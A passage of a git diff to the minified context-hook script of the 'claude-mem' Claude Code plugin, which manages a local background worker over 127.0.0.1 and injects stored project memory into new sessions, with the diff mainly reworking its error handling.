Access ${_}k tokens of past research & decisions for just ${U.toLocaleString()}t. Use the mem-search skill to access memories by ID instead of re-reading files.${o.reset}`):r.push(`\u{1F4B0} Access ${_}k tokens of past research & decisions for just ${U.toLocaleString()}t. Use the mem-search skill to access memories by ID instead of re-reading files.`)}}return i?.close(),r.join(` `).trimEnd()}0&&(module.exports={generateContext}); diff --git a/plugin/scripts/context-hook.js b/plugin/scripts/context-hook.js index 2d4b916a..b89179b6 100755 --- a/plugin/scripts/context-hook.js +++ b/plugin/scripts/context-hook.js @@ -1,28 +1,28 @@ #!/usr/bin/env bun -import{stdin as v}from"process";import D from"path";import{homedir as Tt}from"os";import{spawnSync as Ot}from"child_process";import{existsSync as At,writeFileSync as B,readFileSync as wt,mkdirSync as Ct}from"fs";import{readFileSync as rt,writeFileSync as nt,existsSync as ot}from"fs";import{join as st}from"path";import{homedir as it}from"os";var tt=["bugfix","feature","refactor","discovery","decision","change"],et=["how-it-works","why-it-exists","what-changed","problem-solution","gotcha","pattern","trade-off"];var U=tt.join(","),N=et.join(",");var l=class{static DEFAULTS={CLAUDE_MEM_MODEL:"claude-sonnet-4-5",CLAUDE_MEM_CONTEXT_OBSERVATIONS:"50",CLAUDE_MEM_WORKER_PORT:"37777",CLAUDE_MEM_WORKER_HOST:"127.0.0.1",CLAUDE_MEM_SKIP_TOOLS:"ListMcpResourcesTool,SlashCommand,Skill,TodoWrite,AskUserQuestion",CLAUDE_MEM_DATA_DIR:st(it(),".claude-mem"),CLAUDE_MEM_LOG_LEVEL:"INFO",CLAUDE_MEM_PYTHON_VERSION:"3.13",CLAUDE_CODE_PATH:"",CLAUDE_MEM_CONTEXT_SHOW_READ_TOKENS:"true",CLAUDE_MEM_CONTEXT_SHOW_WORK_TOKENS:"true",CLAUDE_MEM_CONTEXT_SHOW_SAVINGS_AMOUNT:"true",CLAUDE_MEM_CONTEXT_SHOW_SAVINGS_PERCENT:"true",CLAUDE_MEM_CONTEXT_OBSERVATION_TYPES:U,CLAUDE_MEM_CONTEXT_OBSERVATION_CONCEPTS:N,CLAUDE_MEM_CONTEXT_FULL_COUNT:"5",CLAUDE_MEM_CONTEXT_FULL_FIELD:"narrative",CLAUDE_MEM_CONTEXT_SESSION_COUNT:"10",CLAUDE_MEM_CONTEXT_SHOW_LAST_SUMMARY:"true",CLAUDE_MEM_CONTEXT_SHOW_LAST_MESSAGE:"false"};static getAllDefaults(){return{...this.DEFAULTS}}static get(t){return this.DEFAULTS[t]}static getInt(t){let e=this.get(t);return parseInt(e,10)}static getBool(t){return this.get(t)==="true"}static loadFromFile(t){try{if(!ot(t))return this.getAllDefaults();let e=rt(t,"utf-8"),r=JSON.parse(e),o=r;if(r.env&&typeof r.env=="object"){o=r.env;try{nt(t,JSON.stringify(o,null,2),"utf-8"),c.info("SETTINGS","Migrated settings file from nested to flat schema",{settingsPath:t})}catch(i){c.warn("SETTINGS","Failed to auto-migrate settings file",{settingsPath:t},i)}}let s={...this.DEFAULTS};for(let i of Object.keys(this.DEFAULTS))o[i]!==void 0&&(s[i]=o[i]);return s}catch(e){return c.warn("SETTINGS","Failed to load settings, using defaults",{settingsPath:t},e),this.getAllDefaults()}}};var M=(s=>(s[s.DEBUG=0]="DEBUG",s[s.INFO=1]="INFO",s[s.WARN=2]="WARN",s[s.ERROR=3]="ERROR",s[s.SILENT=4]="SILENT",s))(M||{}),P=class{level=null;useColor;constructor(){this.useColor=process.stdout.isTTY??!1}getLevel(){if(this.level===null){let t=l.get("CLAUDE_MEM_LOG_LEVEL").toUpperCase();this.level=M[t]??1}return this.level}correlationId(t,e){return`obs-${t}-${e}`}sessionId(t){return`session-${t}`}formatData(t){if(t==null)return"";if(typeof t=="string")return t;if(typeof t=="number"||typeof t=="boolean")return t.toString();if(typeof t=="object"){if(t instanceof Error)return this.getLevel()===0?`${t.message} -${t.stack}`:t.message;if(Array.isArray(t))return`[${t.length} items]`;let e=Object.keys(t);return e.length===0?"{}":e.length<=3?JSON.stringify(t):`{${e.length} keys: ${e.slice(0,3).join(", ")}...}`}return String(t)}formatTool(t,e){if(!e)return t;try{let r=typeof e=="string"?JSON.parse(e):e;if(t==="Bash"&&r.command)return`${t}(${r.command})`;if(r.file_path)return`${t}(${r.file_path})`;if(r.notebook_path)return`${t}(${r.notebook_path})`;if(t==="Glob"&&r.pattern)return`${t}(${r.pattern})`;if(t==="Grep"&&r.pattern)return`${t}(${r.pattern})`;if(r.url)return`${t}(${r.url})`;if(r.query)return`${t}(${r.query})`;if(t==="Task"){if(r.subagent_type)return`${t}(${r.subagent_type})`;if(r.description)return`${t}(${r.description})`}return t==="Skill"&&r.skill?`${t}(${r.skill})`:t==="LSP"&&r.operation?`${t}(${r.operation})`:t}catch{return t}}formatTimestamp(t){let e=t.getFullYear(),r=String(t.getMonth()+1).padStart(2,"0"),o=String(t.getDate()).padStart(2,"0"),s=String(t.getHours()).padStart(2,"0"),i=String(t.getMinutes()).padStart(2,"0"),a=String(t.getSeconds()).padStart(2,"0"),u=String(t.getMilliseconds()).padStart(3,"0");return`${e}-${r}-${o} ${s}:${i}:${a}.${u}`}log(t,e,r,o,s){if(t0&&(S=` {${Object.entries($).map(([Q,Z])=>`${Q}=${Z}`).join(", ")}}`)}let _=`[${i}] [${a}] [${u}] ${f}${r}${S}${E}`;t===3?console.error(_):console.log(_)}debug(t,e,r,o){this.log(0,t,e,r,o)}info(t,e,r,o){this.log(1,t,e,r,o)}warn(t,e,r,o){this.log(2,t,e,r,o)}error(t,e,r,o){this.log(3,t,e,r,o)}dataIn(t,e,r,o){this.info(t,`\u2192 ${e}`,r,o)}dataOut(t,e,r,o){this.info(t,`\u2190 ${e}`,r,o)}success(t,e,r,o){this.info(t,`\u2713 ${e}`,r,o)}failure(t,e,r,o){this.error(t,`\u2717 ${e}`,r,o)}timing(t,e,r,o){this.info(t,`\u23F1 ${e}`,o,{duration:`${r}ms`})}happyPathError(t,e,r,o,s=""){let f=((new Error().stack||"").split(` -`)[2]||"").match(/at\s+(?:.*\s+)?\(?([^:]+):(\d+):(\d+)\)?/),E=f?`${f[1].split("/").pop()}:${f[2]}`:"unknown",S={...r,location:E};return this.warn(t,`[HAPPY-PATH] ${e}`,S,o),s}},c=new P;var h={DEFAULT:5e3,HEALTH_CHECK:1e3,WORKER_STARTUP_WAIT:1e3,WORKER_STARTUP_RETRIES:15,PRE_RESTART_SETTLE_DELAY:2e3,WINDOWS_MULTIPLIER:1.5};function L(n){return process.platform==="win32"?Math.round(n*h.WINDOWS_MULTIPLIER):n}import{existsSync as k,readFileSync as ft,writeFileSync as mt,unlinkSync as dt,mkdirSync as H}from"fs";import{createWriteStream as Et}from"fs";import{join as O}from"path";import{spawn as St,spawnSync as _t}from"child_process";import{homedir as ht}from"os";import{join as g,dirname as at,basename as Kt}from"path";import{homedir as ct}from"os";import{fileURLToPath as ut}from"url";function lt(){return typeof __dirname<"u"?__dirname:at(ut(import.meta.url))}var Jt=lt(),p=l.get("CLAUDE_MEM_DATA_DIR"),b=process.env.CLAUDE_CONFIG_DIR||g(ct(),".claude"),qt=g(p,"archives"),zt=g(p,"logs"),Qt=g(p,"trash"),Zt=g(p,"backups"),te=g(p,"settings.json"),ee=g(p,"claude-mem.db"),re=g(p,"vector-db"),ne=g(b,"settings.json"),oe=g(b,"commands"),se=g(b,"CLAUDE.md");import{spawnSync as pt}from"child_process";import{existsSync as gt}from"fs";import{join as x}from"path";import{homedir as W}from"os";function R(){let n=process.platform==="win32";try{if(pt("bun",["--version"],{encoding:"utf-8",stdio:["pipe","pipe","pipe"],shell:!1}).status===0)return"bun"}catch{}let t=n?[x(W(),".bun","bin","bun.exe")]:[x(W(),".bun","bin","bun"),"/usr/local/bin/bun","/opt/homebrew/bin/bun","/home/linuxbrew/.linuxbrew/bin/bun"];for(let e of t)if(gt(e))return e;return null}function F(){return R()!==null}var T=O(p,"worker.pid"),j=O(p,"logs"),y=O(ht(),".claude","plugins","marketplaces","thedotmack"),A=class{static async start(t){if(isNaN(t)||t<1024||t>65535)return{success:!1,error:`Invalid port ${t}. Must be between 1024 and 65535`};if(await this.isRunning())return{success:!0,pid:this.getPidInfo()?.pid};H(j,{recursive:!0});let e=process.platform==="win32"?"worker-wrapper.cjs":"worker-service.cjs",r=O(y,"plugin","scripts",e);if(!k(r))return{success:!1,error:`Worker script not found at ${r}`};let o=this.getLogFilePath();return this.startWithBun(r,o,t)}static isBunAvailable(){return F()}static escapePowerShellString(t){return t.replace(/'/g,"''")}static async startWithBun(t,e,r){let o=R();if(!o)return{success:!1,error:"Bun is required but not found in PATH or common installation paths. Install from https://bun.sh"};try{if(process.platform==="win32"){let i=this.escapePowerShellString(o),a=this.escapePowerShellString(t),u=this.escapePowerShellString(y),f=this.escapePowerShellString(e),S=`${`$env:CLAUDE_MEM_WORKER_PORT='${r}'`}; Start-Process -FilePath '${i}' -ArgumentList '${a}' -WorkingDirectory '${u}' -WindowStyle Hidden -RedirectStandardOutput '${f}' -RedirectStandardError '${f}.err' -PassThru | Select-Object -ExpandProperty Id`,_=_t("powershell",["-Command",S],{stdio:"pipe",timeout:1e4,windowsHide:!0});if(_.status!==0)return{success:!1,error:`PowerShell spawn failed: ${_.stderr?.toString()||"unknown error"}`};let w=parseInt(_.stdout.toString().trim(),10);return isNaN(w)?{success:!1,error:"Failed to get PID from PowerShell"}:(this.writePidFile({pid:w,port:r,startedAt:new Date().toISOString(),version:process.env.npm_package_version||"unknown"}),this.waitForHealth(w,r))}else{let i=St(o,[t],{detached:!0,stdio:["ignore","pipe","pipe"],env:{...process.env,CLAUDE_MEM_WORKER_PORT:String(r)},cwd:y}),a=Et(e,{flags:"a"});return i.stdout?.pipe(a),i.stderr?.pipe(a),i.unref(),i.pid?(this.writePidFile({pid:i.pid,port:r,startedAt:new Date().toISOString(),version:process.env.npm_package_version||"unknown"}),this.waitForHealth(i.pid,r)):{success:!1,error:"Failed to get PID from spawned process"}}}catch(s){return{success:!1,error:s instanceof Error?s.message:String(s)}}}static async stop(t=5e3){let e=this.getPidInfo();if(process.platform==="win32"){let r=e?.port??this.getPortFromSettings();if(await this.tryHttpShutdown(r))return this.removePidFile(),!0;if(!e)return!0;let{execSync:s}=await import("child_process");try{s(`taskkill /PID ${e.pid} /T /F`,{timeout:1e4,stdio:"ignore"})}catch{}try{await this.waitForExit(e.pid,t)}catch{}return this.isProcessAlive(e.pid)||this.removePidFile(),!0}else{if(!e)return!0;try{process.kill(e.pid,"SIGTERM"),await this.waitForExit(e.pid,t)}catch{try{process.kill(e.pid,"SIGKILL")}catch{}}return this.removePidFile(),!0}}static async restart(t){return await this.stop(),this.start(t)}static async status(){let t=this.getPidInfo();if(!t)return{running:!1};let e=this.isProcessAlive(t.pid);return{running:e,pid:e?t.pid:void 0,port:e?t.port:void 0,uptime:e?this.formatUptime(t.startedAt):void 0}}static async isRunning(){let t=this.getPidInfo();if(!t)return!1;let e=this.isProcessAlive(t.pid);return e||this.removePidFile(),e}static getPortFromSettings(){try{let t=O(p,"settings.json"),e=l.loadFromFile(t);return parseInt(e.CLAUDE_MEM_WORKER_PORT,10)}catch{return parseInt(l.get("CLAUDE_MEM_WORKER_PORT"),10)}}static async tryHttpShutdown(t){try{return(await fetch(`http://127.0.0.1:${t}/api/admin/shutdown`,{method:"POST",signal:AbortSignal.timeout(2e3)})).ok?await this.waitForWorkerDown(t,5e3):!1}catch{return!1}}static async waitForWorkerDown(t,e){let r=Date.now();for(;Date.now()-rsetTimeout(o,100))}catch{return!0}return!1}static getPidInfo(){try{if(!k(T))return null;let t=ft(T,"utf-8"),e=JSON.parse(t);return typeof e.pid!="number"||typeof e.port!="number"?(logger.warn("PROCESS","Malformed PID file: missing or invalid pid/port fields",{},{parsed:e}),null):e}catch(t){return logger.warn("PROCESS","Failed to read PID file",{},{error:t instanceof Error?t.message:String(t),path:T}),null}}static writePidFile(t){H(p,{recursive:!0}),mt(T,JSON.stringify(t,null,2))}static removePidFile(){try{k(T)&&dt(T)}catch{}}static isProcessAlive(t){try{return process.kill(t,0),!0}catch{return!1}}static async waitForHealth(t,e,r=1e4){let o=Date.now(),s=process.platform==="win32",i=s?r*2:r;for(;Date.now()-o(s[s.DEBUG=0]="DEBUG",s[s.INFO=1]="INFO",s[s.WARN=2]="WARN",s[s.ERROR=3]="ERROR",s[s.SILENT=4]="SILENT",s))(C||{}),M=class{level=null;useColor;constructor(){this.useColor=process.stdout.isTTY??!1}getLevel(){if(this.level===null){let t=l.get("CLAUDE_MEM_LOG_LEVEL").toUpperCase();this.level=C[t]??1}return this.level}correlationId(t,e){return`obs-${t}-${e}`}sessionId(t){return`session-${t}`}formatData(t){if(t==null)return"";if(typeof t=="string")return t;if(typeof t=="number"||typeof t=="boolean")return t.toString();if(typeof t=="object"){if(t instanceof Error)return this.getLevel()===0?`${t.message} +${t.stack}`:t.message;if(Array.isArray(t))return`[${t.length} items]`;let e=Object.keys(t);return e.length===0?"{}":e.length<=3?JSON.stringify(t):`{${e.length} keys: ${e.slice(0,3).join(", ")}...}`}return String(t)}formatTool(t,e){if(!e)return t;let r=typeof e=="string"?JSON.parse(e):e;if(t==="Bash"&&r.command)return`${t}(${r.command})`;if(r.file_path)return`${t}(${r.file_path})`;if(r.notebook_path)return`${t}(${r.notebook_path})`;if(t==="Glob"&&r.pattern)return`${t}(${r.pattern})`;if(t==="Grep"&&r.pattern)return`${t}(${r.pattern})`;if(r.url)return`${t}(${r.url})`;if(r.query)return`${t}(${r.query})`;if(t==="Task"){if(r.subagent_type)return`${t}(${r.subagent_type})`;if(r.description)return`${t}(${r.description})`}return t==="Skill"&&r.skill?`${t}(${r.skill})`:t==="LSP"&&r.operation?`${t}(${r.operation})`:t}formatTimestamp(t){let e=t.getFullYear(),r=String(t.getMonth()+1).padStart(2,"0"),n=String(t.getDate()).padStart(2,"0"),s=String(t.getHours()).padStart(2,"0"),i=String(t.getMinutes()).padStart(2,"0"),a=String(t.getSeconds()).padStart(2,"0"),c=String(t.getMilliseconds()).padStart(3,"0");return`${e}-${r}-${n} ${s}:${i}:${a}.${c}`}log(t,e,r,n,s){if(t0&&(E=` {${Object.entries($).map(([J,q])=>`${J}=${q}`).join(", ")}}`)}let S=`[${i}] [${a}] [${c}] ${f}${r}${E}${d}`;t===3?console.error(S):console.log(S)}debug(t,e,r,n){this.log(0,t,e,r,n)}info(t,e,r,n){this.log(1,t,e,r,n)}warn(t,e,r,n){this.log(2,t,e,r,n)}error(t,e,r,n){this.log(3,t,e,r,n)}dataIn(t,e,r,n){this.info(t,`\u2192 ${e}`,r,n)}dataOut(t,e,r,n){this.info(t,`\u2190 ${e}`,r,n)}success(t,e,r,n){this.info(t,`\u2713 ${e}`,r,n)}failure(t,e,r,n){this.error(t,`\u2717 ${e}`,r,n)}timing(t,e,r,n){this.info(t,`\u23F1 ${e}`,n,{duration:`${r}ms`})}happyPathError(t,e,r,n,s=""){let f=((new Error().stack||"").split(` +`)[2]||"").match(/at\s+(?:.*\s+)?\(?([^:]+):(\d+):(\d+)\)?/),d=f?`${f[1].split("/").pop()}:${f[2]}`:"unknown",E={...r,location:d};return this.warn(t,`[HAPPY-PATH] ${e}`,E,n),s}},u=new M;var _={DEFAULT:5e3,HEALTH_CHECK:1e3,WORKER_STARTUP_WAIT:1e3,WORKER_STARTUP_RETRIES:15,PRE_RESTART_SETTLE_DELAY:2e3,WINDOWS_MULTIPLIER:1.5};function L(o){return process.platform==="win32"?Math.round(o*_.WINDOWS_MULTIPLIER):o}import{existsSync as b,readFileSync as ct,writeFileSync as ut,unlinkSync as lt,mkdirSync as H}from"fs";import{createWriteStream as pt}from"fs";import{join as T}from"path";import{spawn as gt,spawnSync as ft}from"child_process";import{homedir as mt}from"os";import{join as g,dirname as rt,basename as Ft}from"path";import{homedir as nt}from"os";import{fileURLToPath as st}from"url";function ot(){return typeof __dirname<"u"?__dirname:rt(st(import.meta.url))}var Bt=ot(),p=l.get("CLAUDE_MEM_DATA_DIR"),P=process.env.CLAUDE_CONFIG_DIR||g(nt(),".claude"),Vt=g(p,"archives"),Xt=g(p,"logs"),Yt=g(p,"trash"),Jt=g(p,"backups"),qt=g(p,"modes"),zt=g(p,"settings.json"),Qt=g(p,"claude-mem.db"),Zt=g(p,"vector-db"),te=g(P,"settings.json"),ee=g(P,"commands"),re=g(P,"CLAUDE.md");import{spawnSync as it}from"child_process";import{existsSync as at}from"fs";import{join as N}from"path";import{homedir as W}from"os";function R(){let o=process.platform==="win32";try{if(it("bun",["--version"],{encoding:"utf-8",stdio:["pipe","pipe","pipe"],shell:!1}).status===0)return"bun"}catch{}let t=o?[N(W(),".bun","bin","bun.exe")]:[N(W(),".bun","bin","bun"),"/usr/local/bin/bun","/opt/homebrew/bin/bun","/home/linuxbrew/.linuxbrew/bin/bun"];for(let e of t)if(at(e))return e;return null}function F(){return R()!==null}var h=T(p,"worker.pid"),j=T(p,"logs"),k=T(mt(),".claude","plugins","marketplaces","thedotmack"),O=class{static async start(t){if(isNaN(t)||t<1024||t>65535)return{success:!1,error:`Invalid port ${t}. Must be between 1024 and 65535`};if(await this.isRunning())return{success:!0,pid:this.getPidInfo()?.pid};H(j,{recursive:!0});let e=process.platform==="win32"?"worker-wrapper.cjs":"worker-service.cjs",r=T(k,"plugin","scripts",e);if(!b(r))return{success:!1,error:`Worker script not found at ${r}`};let n=this.getLogFilePath();return this.startWithBun(r,n,t)}static isBunAvailable(){return F()}static escapePowerShellString(t){return t.replace(/'/g,"''")}static async startWithBun(t,e,r){let n=R();if(!n)return{success:!1,error:"Bun is required but not found in PATH or common installation paths. Install from https://bun.sh"};try{if(process.platform==="win32"){let i=this.escapePowerShellString(n),a=this.escapePowerShellString(t),c=this.escapePowerShellString(k),f=this.escapePowerShellString(e),E=`${`$env:CLAUDE_MEM_WORKER_PORT='${r}'`}; Start-Process -FilePath '${i}' -ArgumentList '${a}' -WorkingDirectory '${c}' -WindowStyle Hidden -RedirectStandardOutput '${f}' -RedirectStandardError '${f}.err' -PassThru | Select-Object -ExpandProperty Id`,S=ft("powershell",["-Command",E],{stdio:"pipe",timeout:1e4,windowsHide:!0});if(S.status!==0)return{success:!1,error:`PowerShell spawn failed: ${S.stderr?.toString()||"unknown error"}`};let w=parseInt(S.stdout.toString().trim(),10);return isNaN(w)?{success:!1,error:"Failed to get PID from PowerShell"}:(this.writePidFile({pid:w,port:r,startedAt:new Date().toISOString(),version:process.env.npm_package_version||"unknown"}),this.waitForHealth(w,r))}else{let i=gt(n,[t],{detached:!0,stdio:["ignore","pipe","pipe"],env:{...process.env,CLAUDE_MEM_WORKER_PORT:String(r)},cwd:k}),a=pt(e,{flags:"a"});return i.stdout?.pipe(a),i.stderr?.pipe(a),i.unref(),i.pid?(this.writePidFile({pid:i.pid,port:r,startedAt:new Date().toISOString(),version:process.env.npm_package_version||"unknown"}),this.waitForHealth(i.pid,r)):{success:!1,error:"Failed to get PID from spawned process"}}}catch(s){return{success:!1,error:s instanceof Error?s.message:String(s)}}}static async stop(t=5e3){let e=this.getPidInfo();if(process.platform==="win32"){let r=e?.port??this.getPortFromSettings();if(await this.tryHttpShutdown(r))return this.removePidFile(),!0;if(!e)return!0;let{execSync:s}=await import("child_process");try{s(`taskkill /PID ${e.pid} /T /F`,{timeout:1e4,stdio:"ignore"})}catch{}try{await this.waitForExit(e.pid,t)}catch{}return this.isProcessAlive(e.pid)||this.removePidFile(),!0}else{if(!e)return!0;try{process.kill(e.pid,"SIGTERM"),await this.waitForExit(e.pid,t)}catch{try{process.kill(e.pid,"SIGKILL")}catch{}}return this.removePidFile(),!0}}static async restart(t){return await this.stop(),this.start(t)}static async status(){let t=this.getPidInfo();if(!t)return{running:!1};let e=this.isProcessAlive(t.pid);return{running:e,pid:e?t.pid:void 0,port:e?t.port:void 0,uptime:e?this.formatUptime(t.startedAt):void 0}}static async isRunning(){let t=this.getPidInfo();if(!t)return!1;let e=this.isProcessAlive(t.pid);return e||this.removePidFile(),e}static getPortFromSettings(){try{let t=T(p,"settings.json"),e=l.loadFromFile(t);return parseInt(e.CLAUDE_MEM_WORKER_PORT,10)}catch{return parseInt(l.get("CLAUDE_MEM_WORKER_PORT"),10)}}static async tryHttpShutdown(t){try{return(await fetch(`http://127.0.0.1:${t}/api/admin/shutdown`,{method:"POST",signal:AbortSignal.timeout(2e3)})).ok?await this.waitForWorkerDown(t,5e3):!1}catch{return!1}}static async waitForWorkerDown(t,e){let r=Date.now();for(;Date.now()-rsetTimeout(n,100))}catch{return!0}return!1}static getPidInfo(){try{if(!b(h))return null;let t=ct(h,"utf-8"),e=JSON.parse(t);return typeof e.pid!="number"||typeof e.port!="number"?(logger.warn("PROCESS","Malformed PID file: missing or invalid pid/port fields",{},{parsed:e}),null):e}catch(t){return logger.warn("PROCESS","Failed to read PID file",{},{error:t instanceof Error?t.message:String(t),path:h}),null}}static writePidFile(t){H(p,{recursive:!0}),ut(h,JSON.stringify(t,null,2))}static removePidFile(){try{b(h)&<(h)}catch{}}static isProcessAlive(t){try{return process.kill(t,0),!0}catch{return!1}}static async waitForHealth(t,e,r=1e4){let n=Date.now(),s=process.platform==="win32",i=s?r*2:r;for(;Date.now()-nsetTimeout(u,200))}return{success:!1,error:s?`Worker failed to start on Windows (readiness check timed out after ${i}ms) +5. Docs: https://docs.claude-mem.ai/troubleshooting/windows-issues`:"Process died during startup"};try{if((await fetch(`http://127.0.0.1:${e}/api/readiness`,{signal:AbortSignal.timeout(1e3)})).ok)return{success:!0,pid:t}}catch{}await new Promise(c=>setTimeout(c,200))}return{success:!1,error:s?`Worker failed to start on Windows (readiness check timed out after ${i}ms) Troubleshooting: 1. Check Task Manager for zombie 'bun.exe' or 'node.exe' processes 2. Verify port ${e} is not in use: netstat -ano | findstr ${e} 3. Check worker logs in ~/.claude-mem/logs/ 4. See GitHub issues: #363, #367, #371, #373 -5. Docs: https://docs.claude-mem.ai/troubleshooting/windows-issues`:`Readiness check timed out after ${i}ms`}}static async waitForExit(t,e){let r=Date.now();for(;Date.now()-rsetTimeout(o,100))}throw new Error("Process did not exit within timeout")}static getLogFilePath(){let t=new Date().toISOString().slice(0,10);return O(j,`worker-${t}.log`)}static formatUptime(t){let e=new Date(t).getTime(),o=Date.now()-e,s=Math.floor(o/1e3),i=Math.floor(s/60),a=Math.floor(i/60),u=Math.floor(a/24);return u>0?`${u}d ${a%24}h`:a>0?`${a}h ${i%60}m`:i>0?`${i}m ${s%60}s`:`${s}s`}};function d(n={}){let{port:t,includeSkillFallback:e=!1,customPrefix:r,actualError:o}=n,s=r||"Worker service connection failed.",i=t?` (port ${t})`:"",a=`${s}${i} +5. Docs: https://docs.claude-mem.ai/troubleshooting/windows-issues`:`Readiness check timed out after ${i}ms`}}static async waitForExit(t,e){let r=Date.now();for(;Date.now()-rsetTimeout(n,100))}throw new Error("Process did not exit within timeout")}static getLogFilePath(){let t=new Date().toISOString().slice(0,10);return T(j,`worker-${t}.log`)}static formatUptime(t){let e=new Date(t).getTime(),n=Date.now()-e,s=Math.floor(n/1e3),i=Math.floor(s/60),a=Math.floor(i/60),c=Math.floor(a/24);return c>0?`${c}d ${a%24}h`:a>0?`${a}h ${i%60}m`:i>0?`${i}m ${s%60}s`:`${s}s`}};function y(o={}){let{port:t,includeSkillFallback:e=!1,customPrefix:r,actualError:n}=o,s=r||"Worker service connection failed.",i=t?` (port ${t})`:"",a=`${s}${i} `;return a+=`To restart the worker: `,a+=`1. Exit Claude Code completely `,a+=`2. Run: claude-mem restart `,a+="3. Restart Claude Code",e&&(a+=` -If that doesn't work, try: /troubleshoot`),o&&(a=`Worker Error: ${o} +If that doesn't work, try: /troubleshoot`),n&&(a=`Worker Error: ${n} -${a}`),a}var V=D.join(Tt(),".claude","plugins","marketplaces","thedotmack"),G=L(h.HEALTH_CHECK),C=null;function m(){if(C!==null)return C;let n=D.join(l.get("CLAUDE_MEM_DATA_DIR"),"settings.json"),t=l.loadFromFile(n);return C=parseInt(t.CLAUDE_MEM_WORKER_PORT,10),C}async function I(){try{let n=m();return(await fetch(`http://127.0.0.1:${n}/api/readiness`,{signal:AbortSignal.timeout(G)})).ok}catch(n){return c.debug("SYSTEM","Worker readiness check failed",{error:n instanceof Error?n.message:String(n),errorType:n?.constructor?.name}),!1}}function Dt(){try{let n=D.join(V,"package.json");return JSON.parse(wt(n,"utf-8")).version}catch(n){return c.debug("SYSTEM","Failed to read plugin version",{error:n instanceof Error?n.message:String(n)}),null}}async function Mt(){try{let n=m(),t=await fetch(`http://127.0.0.1:${n}/api/version`,{signal:AbortSignal.timeout(G)});return t.ok?(await t.json()).version:null}catch(n){return c.debug("SYSTEM","Failed to get worker version",{error:n instanceof Error?n.message:String(n)}),null}}async function K(){let n=Dt(),t=await Mt();!n||!t||n!==t&&(c.info("SYSTEM","Worker version mismatch detected - restarting worker",{pluginVersion:n,workerVersion:t}),await new Promise(e=>setTimeout(e,L(h.PRE_RESTART_SETTLE_DELAY))),await A.restart(m()),await new Promise(e=>setTimeout(e,1e3)),await I()||c.error("SYSTEM","Worker failed to restart after version mismatch",{expectedVersion:n,runningVersion:t,port:m()}))}async function Pt(){let n=l.get("CLAUDE_MEM_DATA_DIR"),t=D.join(n,".pm2-migrated");if(Ct(n,{recursive:!0}),!At(t))try{Ot("pm2",["delete","claude-mem-worker"],{stdio:"ignore"}),B(t,new Date().toISOString(),"utf-8"),c.debug("SYSTEM","PM2 cleanup completed and marked")}catch{B(t,new Date().toISOString(),"utf-8")}let e=m(),r=await A.start(e);return r.success||c.error("SYSTEM","Failed to start worker",{platform:process.platform,port:e,error:r.error,marketplaceRoot:V}),r.success}async function Y(){if(await I()){await K();return}if(!await Pt()){let e=m();throw new Error(d({port:e,customPrefix:`Worker service failed to start on port ${e}.`}))}for(let e=0;e<5;e++)if(await new Promise(r=>setTimeout(r,500)),await I()){await K();return}let t=m();throw c.error("SYSTEM","Worker started but not responding to health checks"),new Error(d({port:t,customPrefix:`Worker service started but is not responding on port ${t}.`}))}function X(n){throw n.cause?.code==="ECONNREFUSED"||n.code==="ConnectionRefused"||n.name==="TimeoutError"||n.message?.includes("fetch failed")||n.message?.includes("Unable to connect")?new Error(d()):n}function J(n,t,e){c.error("HOOK",`${e.operation} failed`,{status:n.status,...e},t);let r=e.toolName?`Failed ${e.operation} for ${e.toolName}: ${d()}`:`${e.operation} failed: ${d()}`;throw new Error(r)}import Lt from"path";function q(n){if(!n||n.trim()==="")return c.warn("PROJECT_NAME","Empty cwd provided, using fallback",{cwd:n}),"unknown-project";let t=Lt.basename(n);if(t===""){if(process.platform==="win32"){let r=n.match(/^([A-Z]):\\/i);if(r){let s=`drive-${r[1].toUpperCase()}`;return c.info("PROJECT_NAME","Drive root detected",{cwd:n,projectName:s}),s}}return c.warn("PROJECT_NAME","Root directory detected, using fallback",{cwd:n}),"unknown-project"}return t}async function z(n){await Y();let t=n?.cwd??process.cwd(),e=q(t),r=m(),o=`http://127.0.0.1:${r}/api/context/inject?project=${encodeURIComponent(e)}`;try{let s=await fetch(o,{signal:AbortSignal.timeout(h.DEFAULT)});if(!s.ok){let a=await s.text();J(s,a,{hookName:"context",operation:"Context generation",project:e,port:r})}return(await s.text()).trim()}catch(s){X(s)}}var bt=process.argv.includes("--colors");if(v.isTTY||bt)z(void 0).then(n=>{console.log(n),process.exit(0)});else{let n="";v.on("data",t=>n+=t),v.on("end",async()=>{let t=n.trim()?JSON.parse(n):void 0,e=await z(t);console.log(JSON.stringify({hookSpecificOutput:{hookEventName:"SessionStart",additionalContext:e}})),process.exit(0)})} +${a}`),a}var G=D.join(dt(),".claude","plugins","marketplaces","thedotmack"),B=L(_.HEALTH_CHECK),A=null;function m(){if(A!==null)return A;let o=D.join(l.get("CLAUDE_MEM_DATA_DIR"),"settings.json"),t=l.loadFromFile(o);return A=parseInt(t.CLAUDE_MEM_WORKER_PORT,10),A}async function I(){let o=m();return(await fetch(`http://127.0.0.1:${o}/api/readiness`,{signal:AbortSignal.timeout(B)})).ok}function Ot(){let o=D.join(G,"package.json");return JSON.parse(ht(o,"utf-8")).version}async function wt(){let o=m(),t=await fetch(`http://127.0.0.1:${o}/api/version`,{signal:AbortSignal.timeout(B)});if(!t.ok)throw new Error(`Failed to get worker version: ${t.status}`);return(await t.json()).version}async function K(){let o=Ot(),t=await wt();if(o!==t&&(u.info("SYSTEM","Worker version mismatch detected - restarting worker",{pluginVersion:o,workerVersion:t}),await new Promise(e=>setTimeout(e,L(_.PRE_RESTART_SETTLE_DELAY))),await O.restart(m()),await new Promise(e=>setTimeout(e,1e3)),!await I()))throw new Error(`Worker failed to restart after version mismatch. Expected ${o}, was running ${t}`)}async function At(){let o=l.get("CLAUDE_MEM_DATA_DIR"),t=D.join(o,".pm2-migrated");Tt(o,{recursive:!0}),St(t)||(Et("pm2",["delete","claude-mem-worker"],{stdio:"ignore"}),_t(t,new Date().toISOString(),"utf-8"),u.debug("SYSTEM","PM2 cleanup completed and marked"));let e=m(),r=await O.start(e);return r.success||u.error("SYSTEM","Failed to start worker",{platform:process.platform,port:e,error:r.error,marketplaceRoot:G}),r.success}async function V(){let o=!1;try{o=await I()}catch{o=!1}if(o){await K();return}if(!await At()){let r=m();throw new Error(y({port:r,customPrefix:`Worker service failed to start on port ${r}.`}))}for(let r=0;r<5;r++){await new Promise(n=>setTimeout(n,500));try{if(await I()){await K();return}}catch{}}let e=m();throw u.error("SYSTEM","Worker started but not responding to health checks"),new Error(y({port:e,customPrefix:`Worker service started but is not responding on port ${e}.`}))}import Dt from"path";function X(o){if(!o||o.trim()==="")return u.warn("PROJECT_NAME","Empty cwd provided, using fallback",{cwd:o}),"unknown-project";let 